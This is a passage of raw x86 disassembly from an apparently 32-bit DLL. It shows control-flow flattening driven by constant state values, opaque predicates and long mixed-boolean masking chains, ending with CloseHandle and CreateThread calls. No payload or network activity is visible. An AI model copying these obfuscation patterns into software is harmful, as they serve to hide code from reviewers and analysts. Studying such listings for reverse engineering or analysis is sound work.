and ch, bl
xor ch, 1
mov cl, ch
xor cl, dh
or ch, dh
xor ch, 1
or ch, cl
mov cl, ah
xor cl, ch
xor cl, 1
and cl, ch
or ch, ah
xor cl, 1
mov dh, cl
xor dh, ch
or cl, ch
xor cl, 1
or cl, dh
mov dh, bl
xor ah, bl
mov ch, al
xor ch, bl
or al, bl
xor al, 1
or al, ch
mov ch, ah
xor ch, al
or al, ah
xor al, 1
or al, ch
mov ah, al
xor ah, 1
mov ch, cl
xor ch, 1
and ah, ch
or ch, al
and al, cl
or al, ah
xor al, 1
mov cl, ch
xor cl, al
or al, ch
xor al, 1
or al, cl
mov ah, al
xor ah, 1
mov cl, ah
and cl, al
xor ah, cl
xor cl, 1
or cl, al
xor cl, 1
or cl, ah
mov ch, cl
xor ch, 1
mov ah, bh
xor ah, 1
mov al, ah
or al, ch
and cl, ch
xor cl, 1
mov dh, cl
xor dh, ch
or cl, ch
xor cl, 1
or cl, dh
and ah, cl
xor cl, 1
and cl, bh
or cl, ah
xor cl, 1
mov edx, eax
or dl, cl
xor cl, al
mov eax, ecx
xor al, dl
test cl, 1
mov ebx, 0x66ea4d76
mov ecx, 0xe5dd0f1c
cmovne ebx, ecx
test dl, 1
mov edx, 0x66ea4d76
cmovne ebx, edx
jmp 0x1001ee43
cmp ebx, 0x665723a2
jg 0x1000f031
cmp ebx, 0x58add5e1
jg 0x1000f15d
cmp ebx, 0x49ddde6d
je 0x10014c67
cmp ebx, 0x4e7f68ba
je 0x10015b9e
cmp ebx, 0x4f7b7bfc
jne 0x1000b8a0
mov eax, dword [0x10040908]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov esi, eax
and esi, 0xb6c549e7
mov edx, ecx
and edx, 0x493ab618
or edx, esi
mov edi, edx
xor edi, 0x200018
xor edx, 0x32c10920
mov esi, ecx
xor esi, 0x3be18d38
and esi, ecx
or edx, 0xc41e72c7
mov ebx, esi
not ebx
mov ebp, edx
and ebp, 0x59cfa740
and edi, 0x22200838
or edi, ebp
or edx, ebx
and ebx, 0x59cfa740
and esi, 0xa63058bf
or esi, ebx
xor esi, edi
not edx
or edx, esi
mov ebx, edx
xor ebx, 0xc41e72c7
mov edi, edx
xor edi, 0x3be18d38
mov esi, edi
or esi, ebx
xor edx, 0x882e8a1e
and edx, esi
xor edx, 0x4c30f8d9
and ebx, 0x164efc78
mov esi, edi
and esi, 0xe9b10387
or esi, ebx
xor esi, 0xe9b10387
or esi, edi
not esi
or esi, edx
mov edi, esi
not edi
mov edx, esi
and edx, edi
and esi, 0x139c900
and edi, 0xfec636ff
or edi, esi
xor edi, 0xfec636ff
or edi, edx
mov edx, edi
not edx
and edi, 0xc95f71f0
and edx, 0x36a08e0f
or edx, edi
mov esi, edx
xor esi, 0xc95f71f0
xor edx, 0x36a08e0f
mov edi, eax
and edi, 0xbf0a6b02
mov ebx, ecx
and ebx, 0x40f594fd
or ebx, edi
mov edi, ebx
xor edi, 0x9040
xor ebx, 0x81000100
mov ebp, eax
or ebp, 0xc18101a9
or ebx, 0x125e0210
and ebx, 0xd3df03b9
and edi, 0x2800b042
or edi, ebx
and ebp, 0xd3df03b9
mov ebx, ecx
and ebx, 0x4204c04
or ebx, ebp
xor ebx, edi
mov edi, ebx
xor edi, 0x167e4e14
xor ebx, 0xa0019061
mov ebp, edi
and ebp, 0x4bb4619a
and ebx, 0xb44b9e65
or ebx, ebp
or edi, ecx
and ecx, 0x4bb4619a
and eax, 0xb44b9e65
or eax, ecx
xor eax, ebx
not edi
or edi, eax
mov ecx, edi
not ecx
mov eax, edx
and eax, 0x4575d2b1
mov ebx, esi
and ebx, 0xba8a2d4e
or ebx, eax
mov eax, ecx
and eax, 0x4575d2b1
mov ebp, edi
and ebp, 0xba8a2d4e
or ebp, eax
xor ebp, ebx
mov eax, edx
or eax, ecx
not eax
or eax, ebp
and esi, 0x4123140
mov ebx, edx
and ebx, 0xa1cc8636
or ebx, esi
xor ebx, 0xa1cc8636
and edx, 0x5a214889
or edx, ebx
and edi, 0x43190190
mov esi, ecx
and esi, 0xbce6fe6f
or esi, edi
mov edi, esi
xor edi, 0xbce6fe6f
xor esi, 0xe6c7b6e6
and esi, edi
and ecx, 0x5a214889
or ecx, esi
mov esi, ecx
xor esi, ecx
not esi
and esi, edx
xor esi, ecx
mov ecx, esi
not ecx
mov edx, esi
xor edx, 0x7d565e57
and edx, ecx
mov edi, ecx
or edi, 0x7d565e57
or ecx, eax
xor eax, 0x82a9a1a8
mov ebx, edx
not ebx
mov ebp, ebx
and ebp, 0xb7f309e5
and edx, 0x480cf61a
or edx, ebp
or ebx, edi
and edi, 0xb7f309e5
and esi, 0x8a008
or esi, edi
xor esi, edx
not ebx
or ebx, esi
mov edx, ebx
xor edx, ebx
not edx
and edx, eax
xor edx, ebx
mov esi, edx
not esi
mov eax, esi
and eax, 0x5220d01b
and edx, 0xaddf2fe4
or edx, eax
xor edx, ecx
xor edx, 0xaddf2fe4
or esi, ecx
not esi
or esi, edx
mov edi, esi
not edi
mov eax, edi
and eax, 0xfef8f540
mov ecx, esi
xor ecx, 0xfef8f540
and ecx, esi
or ecx, eax
xor ecx, 0x1070abe
or ecx, edi
mov eax, ecx
not eax
mov dword [esp], eax
mov eax, edi
or eax, 0x82842c01
mov edx, esi
or edx, 0x1040c0c0
and edx, 0x92c4ecc1
mov ebx, edi
and ebx, 0x2802130c
or ebx, edx
and eax, 0x92c4ecc1
and esi, 0x45390032
or esi, eax
xor esi, ebx
mov eax, esi
xor eax, 0x5579c0f2
xor esi, 0x8841308
and eax, 0xe33b6cd7
and esi, 0x1cc49328
or esi, eax
mov eax, esi
xor eax, 0xea728b9a
xor esi, 0x1cc49328
and esi, eax
or edi, 0x949e74d
mov edx, edi
not edx
mov ebx, esi
xor ebx, 0x6abc7021
and ebx, esi
mov eax, esi
not eax
and edi, 0xa0ad9bb2
mov ebp, edx
and ebp, 0x56120000
or ebp, edi
mov esi, ebp
xor esi, 0x5f52644d
xor ebp, 0xc2106892
and ebp, esi
or esi, eax
and eax, 0x6abc7021
or ebx, eax
and edx, 0x94020892
or edx, ebp
and edx, 0xf6be78b2
xor edx, ebx
mov eax, edx
xor eax, 0x8000000
mov edi, esi
not edi
xor edx, 0xf7fffffe
mov ebx, edx
and ebx, 0x858a7475
and eax, 0x7a758b8a
or eax, ebx
or edx, esi
and esi, 0x858a7475
and edi, 0x72340882
or edi, esi
xor edi, eax
not edx
or edx, edi
mov esi, edx
not esi
mov eax, esi
or eax, 0xb0340832
mov edi, edx
or edi, 0x849a644
and edi, 0xb87dae76
and esi, 0x46821081
or esi, edi
and eax, 0xb87dae76
and edx, 0x1004108
or edx, eax
xor edx, esi
mov esi, edx
mov edi, edx
mov ebx, edx
xor ebx, 0x6db5af12
and ebx, edx
not edx
mov eax, edx
and eax, 0xec97f581
and esi, 0x13680a7e
or esi, eax
xor esi, 0x13680a7e
or esi, ecx
and ecx, 0x90a400
mov ebp, dword [esp]
mov eax, ebp
and eax, 0x6d250b12
or eax, ecx
xor eax, 0x6d250b12
and ebp, 0x924a50ed
or ebp, eax
and edx, 0xb5b84f6f
and edi, 0x4a47b090
or edi, edx
mov eax, edi
xor eax, 0x4a47b090
xor edi, 0xd80de07d
and edi, eax
mov ecx, edi
not ecx
mov eax, ebx
not eax
mov edx, ecx
and edx, 0x30b4552d
and edi, 0xcf4baad2
or edi, edx
or ecx, eax
and eax, 0x30b4552d
and ebx, 0xcf4baad2
or ebx, eax
xor ebx, edi
not ecx
or ecx, ebx
mov edi, ecx
xor edi, ecx
not edi
and edi, ebp
xor edi, ecx
mov ecx, edi
and edi, esi
not esi
not ecx
mov edx, esi
xor edx, ecx
and edx, esi
and ecx, esi
or ecx, edi
mov eax, edx
not eax
mov esi, ecx
not esi
mov edi, eax
and edi, 0x8f7f925b
and edx, 0x70806da4
or edx, edi
or eax, esi
and esi, 0x8f7f925b
and ecx, 0x70806da4
or ecx, esi
xor ecx, edx
not eax
or eax, ecx
mov ecx, eax
not ecx
mov esi, ecx
and esi, 0x170b26e8
mov edx, eax
mov edi, eax
mov dword [esp], eax
and edx, 0xe8f4d917
or edx, esi
mov esi, edx
xor esi, 0x500103
xor edx, 0x13092420
and esi, 0x45203cb
and edx, 0xfbadfc34
or edx, esi
mov esi, edx
xor esi, 0xbabb76c
xor edx, 0xfbadfc34
and edx, esi
mov esi, ecx
and esi, 0xff9b4a7
and edi, 0xf0064b58
or edi, esi
mov esi, edi
xor esi, ecx
and esi, edi
mov ebx, edx
not ebx
mov edi, esi
not edi
mov ebp, edi
and ebp, 0xea59ac2c
and esi, 0x15a653d3
or esi, ebp
mov eax, edx
or eax, 0x5a04052
and eax, 0x87a96476
mov ebp, ebx
and ebp, 0x68508808
or ebp, eax
or edi, ebx
or ebx, 0x82092424
xor ebp, esi
and ebx, 0x87a96476
and edx, 0x10061381
or edx, ebx
xor edx, ebp
mov ebx, edi
not ebx
mov esi, edx
not esi
mov eax, esi
and eax, 0xf60da55e
and edx, 0x9f25aa1
or edx, eax
or esi, edi
and edi, 0xf60da55e
and ebx, 0x9f25aa1
or ebx, edi
xor ebx, edx
not esi
or esi, ebx
mov edx, esi
xor edx, 0xf0064b58
mov edi, ecx
mov ebp, dword [esp]
and edi, ebp
mov ebx, esi
xor ebx, 0x4c10085
xor esi, 0xb7c94b8f
and esi, edx
or edx, 0xb830ff28
mov eax, edx
and eax, 0x1b382c0a
and ebx, 0x44c700d5
or ebx, eax
mov eax, esi
not eax
or edx, eax
and eax, 0x1b382c0a
and esi, 0xe4c7d3f5
or esi, eax
xor esi, ebx
not edx
or edx, esi
mov esi, edx
xor esi, 0xb830ff28
mov ebx, edx
xor ebx, 0x35b47306
and ebx, esi
xor edx, 0x4040006
and edx, 0x8404802e
and esi, 0x9800c00
or esi, edx
xor esi, 0x9800c00
or esi, ebx
mov edx, esi
not edx
and esi, 0xb402eb17
mov eax, edx
and eax, 0x4bfd14e8
or eax, esi
xor eax, 0xc67998c6
and edx, 0x727b73d1
or edx, eax
mov esi, edx
not esi
mov ebx, edi
not ebx
mov eax, ebp
and eax, 0x46c7f64
and ecx, 0xfb93809b
or ecx, eax
mov eax, ebp
or eax, ebx
and ebx, 0x46c7f64
and edi, 0xfb93809b
or edi, ebx
xor edi, ecx
mov ebx, eax
not ebx
or ebx, edi
mov ecx, ebx
not ecx
mov edi, ebx
xor edi, 0x84ebc12d
mov eax, edi
and eax, ecx
and edi, ebx
or edi, eax
xor edi, 0x96f4d03
or ecx, 0x703043c0
and ebx, 0x85800420
and ecx, 0x7834cbce
or ecx, ebx
xor ecx, 0x7834cbce
or ecx, edi
mov eax, ecx
not eax
mov edi, eax
and edi, 0xcc48d3a2
and eax, ecx
and ecx, 0x33b72c5d
or ecx, edi
mov edi, ecx
xor edi, 0x20b02059
xor ecx, 0xcc48d3a2
mov ebx, eax
not ebx
mov ebp, ecx
and ebp, 0x5b47cc26
and edi, 0xa4b833d9
or edi, ebp
or ecx, ebx
and ebx, 0x5b47cc26
and eax, 0xa4b833d9
or eax, ebx
xor eax, edi
not ecx
or ecx, eax
mov eax, ecx
not eax
mov edi, eax
and edi, 0xdd435436
and ecx, 0x22bcabc9
or ecx, edi
xor ecx, 0x22bcabc9
or ecx, eax
mov eax, ecx
and eax, edx
mov edi, ecx
not edi
and edi, esi
or edi, eax
not edi
or edi, edx
mov eax, edi
not eax
mov ebp, edx
and ebp, 0xe0691acd
mov ebx, esi
and ebx, 0x1f96e532
or ebx, ebp
xor ebx, 0xe0691acd
or ebx, ecx
xor ecx, edx
and ecx, esi
mov edx, ecx
not edx
mov esi, edx
and esi, 0xa7476731
and ecx, 0x58b898ce
or ecx, esi
xor ecx, ebx
xor ecx, 0x58b898ce
or edx, ebx
not edx
or edx, ecx
mov ecx, edx
not ecx
mov esi, edi
xor esi, 0x96a0a1f3
and esi, edi
mov ebx, eax
and ebx, 0x96a0a1f3
or ebx, esi
mov ebp, edx
xor ebp, 0x695f5e0c
mov esi, ebp
and esi, ecx
and ebp, edx
or ebp, esi
mov esi, ebp
xor esi, ebp
not esi
and esi, ebx
xor esi, ebp
mov ebx, eax
and ebx, 0x77f65c2e
and edi, 0x8809a3d1
or edi, ebx
or eax, edx
and edx, 0x77f65c2e
and ecx, 0x8809a3d1
or ecx, edx
xor ecx, edi
not eax
or eax, ecx
mov edx, eax
not edx
mov ecx, esi
not ecx
mov edi, ecx
and edi, 0xea0fa966
and esi, 0x15f05699
or esi, edi
or ecx, eax
and eax, 0xea0fa966
and edx, 0x15f05699
or edx, eax
xor edx, esi
not ecx
or ecx, edx
mov eax, ecx
not eax
mov esi, ecx
mov edx, eax
and edx, ecx
mov edi, eax
and edi, 0xe55c3a8e
and ecx, 0x1aa3c571
or ecx, edi
not ecx
or ecx, eax
and eax, 0x3bdd308b
and esi, 0xc422cf74
or esi, eax
xor esi, 0xc422cf74
or edx, esi
mov edi, edx
xor edi, 0xf55cfb9f
mov eax, edi
or eax, 0xa000421
and eax, 0x4b0404a9
mov ebx, edx
and ebx, 0xa4583a06
or ebx, eax
mov eax, ebx
xor eax, 0xb4fbfb56
xor ebx, 0x4824b9cf
and ebx, eax
or edi, 0x1ba3fd77
mov esi, ebx
not esi
mov ebp, esi
and ebp, 0x6c584a0a
and ebx, 0x832430a4
or ebx, ebp
or esi, edi
and edi, 0x6c58cf4a
and edx, 0x80040080
or edx, edi
xor edx, ebx
not esi
or esi, edx
or eax, ecx
xor ecx, 0xfcdf4299
mov edi, ecx
xor edi, ecx
not edi
and edi, esi
xor edi, ecx
mov edx, edi
not edx
mov ecx, edx
and ecx, 0x54583826
and edi, 0xaba7c7d9
or edi, ecx
or edx, eax
and eax, 0xf55c3aae
xor eax, edi
xor eax, 0xa1040288
not edx
or edx, eax
mov ecx, edx
mov eax, edx
xor eax, 0xf22db581
and eax, edx
not edx
or ecx, 0xdd24a7e
mov esi, eax
not esi
mov edi, ecx
and edi, 0xac8f01d9
and edx, 0x5220b400
or edx, edi
or ecx, esi
and esi, 0xac8f01d9
and eax, 0x5370fe26
or eax, esi
xor eax, edx
not ecx
or ecx, eax
mov eax, ecx
xor eax, 0x650afcde
xor ecx, 0x9af50321
mov edx, eax
and edx, 0x2c543f0c
mov esi, ecx
and esi, 0xe4e91117
and eax, 0x1b16eee8
or eax, esi
xor eax, 0xe4e91117
or eax, ecx
mov esi, ecx
and esi, 0xd3abc0f3
or esi, edx
mov ecx, esi
xor ecx, 0x854300c
xor esi, 0x93a100e3
and ecx, 0x485ef01c
and esi, 0xb7a10fe3
or esi, ecx
mov ecx, esi
xor ecx, 0xb7a10fe3
mov edx, esi
xor edx, 0x8580008
mov edi, eax
not edi
and edx, 0x19f90fea
xor esi, 0xcf25b471
and esi, ecx
and ecx, 0xe606f015
or ecx, edx
mov ebx, ecx
xor ebx, 0xe606f015
and eax, 0x2ebf17e5
mov ebp, edi
and ebp, 0xd140e81a
or ebp, eax
mov eax, ebp
xor eax, 0xd140e81a
xor ecx, 0x19f90fea
mov edx, ebx
and edx, 0x7884bb92
or esi, edx
mov edx, ebp
xor edx, 0x563bac77
and edx, eax
and edi, 0x877b446d
or edi, edx
mov edx, edi
xor edx, edi
not edx
and edx, esi
xor edx, edi
xor ebp, 0x2ebf17e5
mov esi, ecx
and esi, 0xcf126f48
and ebx, 0x30ed90b7
or ebx, esi
or ecx, ebp
and ebp, 0xcf126f48
and eax, 0x30ed90b7
or eax, ebp
xor eax, ebx
not ecx
or ecx, eax
mov esi, ecx
not esi
mov eax, edx
not eax
mov edi, eax
and edi, 0xbd7ef2a7
and edx, 0x42810d58
or edx, edi
or eax, ecx
and ecx, 0xbd7ef2a7
and esi, 0x42810d58
or esi, ecx
xor esi, edx
not eax
or eax, esi
mov ecx, eax
not ecx
mov esi, ecx
or esi, 0x5080d182
mov edx, eax
mov dword [esp + 4], eax
or edx, 0x40d2060
and edx, 0x548df1e2
mov edi, ecx
and edi, 0xb620e11
or edi, edx
and esi, 0x548df1e2
and eax, 0xa010000c
or eax, esi
xor eax, edi
mov esi, eax
xor esi, 0xa41d206c
mov edi, eax
mov ebx, esi
or ebx, 0xc4545
mov ebp, eax
xor ebp, 0x52001210
xor eax, 0x5bec1adc
and eax, esi
and ebx, 0xdfc6dc5
and ebp, 0xf2011230
or ebp, ebx
mov edx, eax
not edx
mov ebx, esi
or ebx, edx
and edx, 0xdfc6dc5
and eax, 0xf203923a
or eax, edx
xor edi, 0x4a205100
and edi, 0x4a2c5100
xor eax, ebp
not ebx
or ebx, eax
not eax
and eax, 0xec54f
and ebx, 0xfff13ab0
or ebx, eax
or ebx, esi
mov eax, esi
and eax, 0x1080046a
or eax, edi
mov esi, eax
xor esi, 0x22
or esi, 0x4118284
xor eax, 0x48085100
and eax, 0x58885548
and esi, 0x63582a6
or esi, eax
mov eax, esi
xor eax, 0x63582a6
mov dword [esp], eax
and ecx, 0xff22bebb
mov edx, dword [esp + 4]
and edx, 0xdd4144
or edx, ecx
mov ecx, edx
xor ecx, 0xdd4144
xor edx, 0x5b22a492
and edx, 0x5b7ea592
mov eax, ecx
and eax, 0xa4815a6d
or eax, edx
xor eax, 0x1d2f0f8
and ecx, 0x5aac556a
or ecx, eax
mov edx, ecx
not edx
mov edi, esi
xor edi, 0xf9ca7d59
mov ebp, edi
and ebp, 0x9ed47642
xor esi, 0x18a05460
and esi, dword [esp]
or esi, ebp
mov ebp, ecx
and ebp, 0x9ed67e52
mov eax, edx
and eax, 0x612981ad
or eax, ebp
xor eax, esi
xor eax, 0x20810
mov ebp, dword [esp]
mov esi, ebp
and esi, 0x10a41002
and edi, 0xee196dfc
or edi, esi
or ebp, edx
and edx, 0x11e69203
and ecx, 0xee196dfc
or ecx, edx
xor ecx, edi
not ebp
or ebp, ecx
not ebp
or ebp, eax
mov eax, ebp
xor eax, 0x5aac556a
mov esi, ebx
mov ecx, ebx
xor ecx, 0xc27201f
and ecx, ebx
not ebx
or esi, 0xf3d8dfe0
mov edx, ecx
not edx
mov edi, esi
and edi, 0xe167a79e
and ebx, 0xc000001
or ebx, edi
or esi, edx
and edx, 0xe167a79e
and ecx, 0x1e985861
or ecx, edx
xor ecx, ebx
not esi
or esi, ecx
mov ecx, esi
xor ecx, 0x20580a80
xor esi, 0xc27201f
mov edx, esi
and edx, 0xdf87f574
and ecx, 0x20780a8b
or ecx, edx
xor ecx, 0x20780a8b
or ecx, esi
mov edi, ecx
not edi
mov esi, ebp
xor esi, 0xa050a080
and esi, 0xb8f4f0ea
xor ebp, 0xeec38ed5
and ebp, eax
and eax, 0x470b0f15
or eax, esi
mov edx, eax
xor edx, 0x470b0f15
mov esi, edx
mov dword [esp + 4], edx
mov edx, ecx
and edx, 0x4658af1b
xor ecx, 0x4b902440
and ecx, edi
and edi, 0xb9a750e4
or edi, edx
mov edx, eax
xor edx, 0xc9b2b55
and edx, esi
or ebp, edx
mov dword [esp], ebp
mov ebx, edi
xor ebx, 0x4658af1b
mov ebp, ebx
or ebp, 0x4b902440
mov esi, edi
xor edi, 0x802710a4
mov edx, ebp
and edx, 0x32404b19
and edi, 0x842f90a6
or edi, edx
mov edx, ecx
not edx
or ebp, edx
and edx, 0x32404b19
and ecx, 0xcdbfb4e6
or ecx, edx
xor ecx, edi
not ebp
or ebp, ecx
mov ecx, ebp
xor ecx, ebp
not ecx
and ecx, dword [esp]
xor ecx, ebp
xor eax, 0xb8f4f0ea
mov edx, eax
and edx, 0xf528dfb3
mov edi, dword [esp + 4]
and edi, 0xad7204c
or edi, edx
xor esi, 0x8870044
or eax, ebx
and ebx, 0xf528dfb3
and esi, 0xad7204c
or esi, ebx
xor esi, edi
not eax
or eax, esi
not eax
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x59729fe1
and ecx, 0xa68d601e
or ecx, eax
mov edx, ecx
xor edx, 0xa68d601e
xor ecx, 0x59729fe1
mov esi, edx
and esi, ecx
mov eax, esi
not eax
mov edi, eax
and edi, 0x582ccb77
and esi, 0xa7d33488
or esi, edi
or eax, edx
and edx, 0x582ccb77
and ecx, 0xa7d33488
or ecx, edx
xor ecx, esi
not eax
or eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x983d60a2
mov esi, eax
and esi, 0x5008611
or esi, edx
xor esi, 0x5008611
mov edx, eax
xor edx, 0x9d3de6b3
and edx, eax
or edx, esi
xor edx, 0x62c2194c
and ecx, 0xbf9c185c
and eax, 0x4063e7a3
or eax, ecx
xor eax, 0x4063e7a3
or eax, edx
xor eax, 0xa3fd5b20
xor eax, 0x5c02a4df
sete al
setne ch
cmp dword [0x1004090c], 0xa
setl ah
setge dl
mov cl, ch
inc cl
mov dh, ch
xor dh, dl
mov bl, ch
or bl, dl
xor bl, 1
or bl, dh
xor bl, 1
mov dh, ch
and dh, dl
and cl, ah
or cl, dh
mov dh, cl
xor dh, dl
and dh, cl
or dh, bl
mov bh, dl
xor bh, dh
mov cl, bh
and cl, dl
and bh, dh
mov bl, cl
xor bl, 1
xor cl, bh
xor bh, 1
or bh, bl
xor bh, 1
or bh, cl
mov cl, dh
xor cl, bh
or bh, dh
xor bh, 1
or bh, cl
mov byte [esp], bh
or ch, ah
mov dh, ch
xor dh, 1
or al, dl
mov bl, ch
or bl, al
xor al, dh
xor al, 1
xor bl, 1
or bl, al
mov bh, bl
xor bh, 1
and dl, bh
and bl, ah
or bl, dl
xor bh, bl
and bh, bl
and ch, dh
xor ch, 1
mov al, dh
xor al, ch
or ch, dh
xor ch, 1
or ch, al
mov dl, bh
xor dl, 1
mov bl, ch
xor bl, 1
mov ah, dl
and ah, bh
mov dh, ah
xor dh, 1
or dh, bh
xor dh, 1
or dh, dl
or ah, dh
mov al, ch
and al, bl
xor al, 1
or al, bl
xor al, 1
or al, ch
mov cl, al
xor cl, 1
and cl, dh
xor dh, 1
and dh, al
mov al, byte [esp]
xor al, 1
mov byte [esp + 4], al
xor ah, ch
xor bl, bh
mov al, ah
xor al, 1
or dl, ch
xor dl, 1
or dl, bl
xor dl, 1
or dl, cl
or dl, dh
mov ecx, edx
xor cl, 1
and cl, al
and ah, dl
or ah, cl
or dl, al
xor ah, 1
mov al, ah
xor al, dl
or ah, dl
xor ah, 1
or ah, al
movzx edx, byte [esp]
mov ch, dl
mov cl, byte [esp + 4]
and ch, cl
xor ch, 1
mov al, cl
xor al, ch
or ch, cl
xor ch, 1
or al, ch
mov bl, ah
xor bl, 1
mov dh, ah
and dh, bl
xor dh, 1
mov cl, ah
xor cl, dh
or ah, dh
xor ah, 1
or ah, cl
mov cl, ah
xor cl, 1
mov bh, cl
and bh, ah
xor bh, 1
or bh, ah
xor bh, 1
or bh, cl
mov cl, bh
xor cl, 1
mov ah, bh
mov byte [esp + 4], bh
and ah, cl
xor ah, 1
or ah, cl
xor ah, 1
or ah, bh
xor ah, bh
and ah, cl
mov cl, bl
xor cl, dh
or dh, bl
xor dh, 1
or dh, cl
mov bl, dh
xor bl, 1
or ch, dl
mov cl, ch
xor cl, 1
and cl, ch
xor cl, 1
mov bh, cl
xor bh, ch
or cl, ch
xor cl, 1
or cl, bh
mov bh, ah
xor bh, 1
mov ch, bl
and ch, dh
xor ch, 1
or ch, dh
xor ch, 1
or ch, bl
mov dh, ch
xor dh, ah
mov dl, bh
xor dl, ch
or ch, bh
xor bh, bl
or bl, ah
and bh, ah
xor bh, 1
mov ah, bl
xor ah, bh
or bh, bl
xor bh, 1
or bh, ah
xor dh, 1
xor ch, 1
or ch, dl
xor ch, 1
or ch, dh
mov dl, ch
xor dl, 1
mov ah, dl
and ah, ch
xor dl, ah
xor ah, 1
or ah, ch
xor ah, 1
or ah, dl
mov dl, bh
xor dl, 1
and dl, ah
mov ch, ah
xor ch, 1
mov ah, bh
xor ah, ch
and ah, bh
and ch, bh
or ch, dl
or ch, ah
mov edx, ecx
xor dl, 1
mov ah, cl
and ah, dl
xor ah, 1
or ah, dl
mov dl, ch
xor dl, 1
xor ah, 1
or ah, cl
mov cl, dl
and cl, ch
xor cl, 1
or cl, ch
xor cl, 1
or cl, dl
mov edx, ecx
and dl, ah
xor ah, 1
xor cl, 1
and cl, ah
xor al, 1
or cl, dl
mov ah, byte [esp + 4]
mov dl, ah
or dl, al
xor dl, 1
xor al, ah
mov ah, dl
xor ah, al
or al, dl
xor al, 1
or al, ah
xor ah, 1
mov dl, ah
xor dl, al
or al, ah
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
mov ah, al
and al, cl
xor cl, 1
or ah, cl
and cl, dl
xor ah, 1
or cl, al
mov al, ah
xor al, cl
or cl, ah
xor cl, 1
or cl, al
mov edx, ecx
xor dl, al
test cl, 1
mov ebx, 0x49ddde6d
mov ecx, 0xa7624359
cmovne ebx, ecx
test al, 1
cmove ebx, ecx
test dl, 1
mov eax, 0x49ddde6d
cmove ebx, eax
jmp 0x1000b8a0
cmp ebx, 0xe3629d0e
jg 0x1000f06b
cmp ebx, 0xcc000498
jg 0x1001098b
cmp ebx, 0xbc9df43d
je 0x10015ba8
cmp ebx, 0xc0b5e76e
je 0x10015bba
cmp ebx, 0xc4380b94
jne 0x1000b8a0
push dword [esp + 0x24]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0xffffffffffffffaa
push dword [esp + 0x38]
mov esi, dword [esp + 0x30]
push esi
call section..text
add esp, 0xc
mov ebx, 0x620ba70e
push 0
push 0
push esi
push 0x10009ca0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [esp + 0x38], eax
jmp 0x1000b8a0
cmp ebx, 0x3890ffa5
jg 0x100109cb
cmp ebx, 0x1de9c053
je 0x10016b8a
cmp ebx, 0x214fb74b
je 0x100177a6
cmp ebx, 0x2e65bfa2
jne 0x1000b8a0
mov eax, dword [0x10040908]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
not eax
mov ecx, eax
mov edi, eax
and ecx, 0x2753abb6
mov eax, edx
xor eax, 0x2753abb6
and eax, edx
mov ebx, edx
mov dword [esp + 0x14], edx
or eax, ecx
mov esi, eax
xor esi, 0x2c5441
xor eax, 0x150a922
and eax, 0xd9d0a92a
and esi, 0x262f56d5
or esi, eax
mov eax, esi
xor eax, 0x2240405
and eax, 0x5bb42c07
xor esi, 0x80408128
and esi, 0xa44bd3f8
or esi, eax
mov eax, esi
xor eax, 0x5bb42c07
and eax, esi
mov edx, edi
mov dword [esp], edi
mov ecx, edi
and ecx, 0x5b81d9a
mov edi, ebx
and edi, 0xfa47e265
or edi, ecx
xor edi, 0xa1f3ce62
mov ecx, edi
xor ecx, edx
and ecx, edi
mov edi, eax
not edi
mov ebx, edi
and ebx, 0xb7b2dea3
mov edx, eax
and edx, 0x484d215c
or edx, ebx
mov ebx, ecx
not ebx
mov ebp, ecx
xor ebp, 0xb7b2dea3
and ebp, ebx
mov esi, ecx
and esi, 0x484d215c
or esi, ebp
mov ebp, esi
xor ebp, esi
not ebp
and ebp, edx
xor ebp, esi
mov edx, eax
and edx, 0xee49e7de
and edi, 0x11b61821
or edi, edx
or eax, ecx
and ecx, 0xee49e7de
and ebx, 0x11b61821
or ebx, ecx
xor ebx, edi
not eax
or eax, ebx
not eax
or eax, ebp
mov esi, eax
xor esi, 0x5bb42c07
xor eax, 0x408100
and eax, 0x1a408100
mov ecx, esi
and ecx, 0x45a0040e
or ecx, eax
xor ecx, 0x45a0040e
and esi, 0xa01f7af1
or esi, ecx
mov edi, esi
xor edi, 0xa01f7af1
mov eax, esi
xor eax, 0x5fe0850e
mov ecx, eax
or ecx, edi
xor esi, 0xd7e0fbe8
and esi, ecx
xor esi, 0x56c11e4c
or eax, 0x5ac060a8
and edi, 0x1e0740
and eax, 0x7be0f8bd
or eax, edi
xor eax, 0x7be0f8bd
or eax, esi
mov ebx, eax
not ebx
and eax, 0xe5a342a4
and ebx, 0x1a5cbd5b
or ebx, eax
mov eax, ebx
xor eax, 0x61834004
xor ebx, 0x1a5cbd5b
mov ecx, ebx
and ecx, 0x9e3026ba
and eax, 0x61cfd945
or eax, ecx
xor eax, 0x9e3026ba
xor ebx, eax
and ebx, eax
mov eax, dword [esp]
and eax, 0x38567197
mov edi, dword [esp + 0x14]
and edi, 0xc7a98e68
or edi, eax
mov eax, edi
xor eax, 0xc7a98e68
mov ecx, edi
xor ecx, 0x38123181
xor edi, 0xe697113d
and edi, eax
and ecx, 0x3c93b3c9
and eax, 0xc36c4c36
or eax, ecx
mov esi, eax
xor esi, 0xc0409161
mov ecx, edi
not ecx
xor eax, 0x1dad2c9c
mov edx, ecx
and edx, 0x2337429e
and edi, 0xdcc8bd61
or edi, edx
or ecx, eax
and eax, 0x2337429e
and esi, 0xdcc8bd61
or esi, eax
xor esi, edi
not ecx
or ecx, esi
mov esi, ecx
or esi, 0xa0044500
mov edx, ecx
not edx
mov eax, ecx
xor eax, 0x1fe29aff
and eax, ecx
mov edi, eax
not edi
and esi, 0xaee44fb1
and edx, 0x1102904e
or edx, esi
or ecx, edi
and edi, 0xaee44fb1
and eax, 0x511bb04e
or eax, edi
xor eax, edx
not ecx
or ecx, eax
not eax
and eax, 0xe01d6500
and ecx, 0x1fe29aff
or ecx, eax
mov eax, ecx
not eax
mov esi, eax
mov dword [esp], eax
mov eax, ebx
not eax
mov dword [esp + 0x14], eax
and eax, 0x1951fc37
mov edx, ebx
xor edx, 0x1951fc37
and edx, ebx
or edx, eax
mov edi, edx
mov eax, esi
and eax, 0xb5844302
mov esi, ecx
and esi, 0x8082431
or esi, eax
mov edx, esi
xor edx, 0x82000
xor esi, 0xf7f7dbce
mov ebp, esi
mov eax, esi
and eax, 0x3b3754fb
and edx, 0x84882300
or edx, eax
mov eax, ecx
xor eax, 0xbd8c6733
and eax, ecx
mov esi, eax
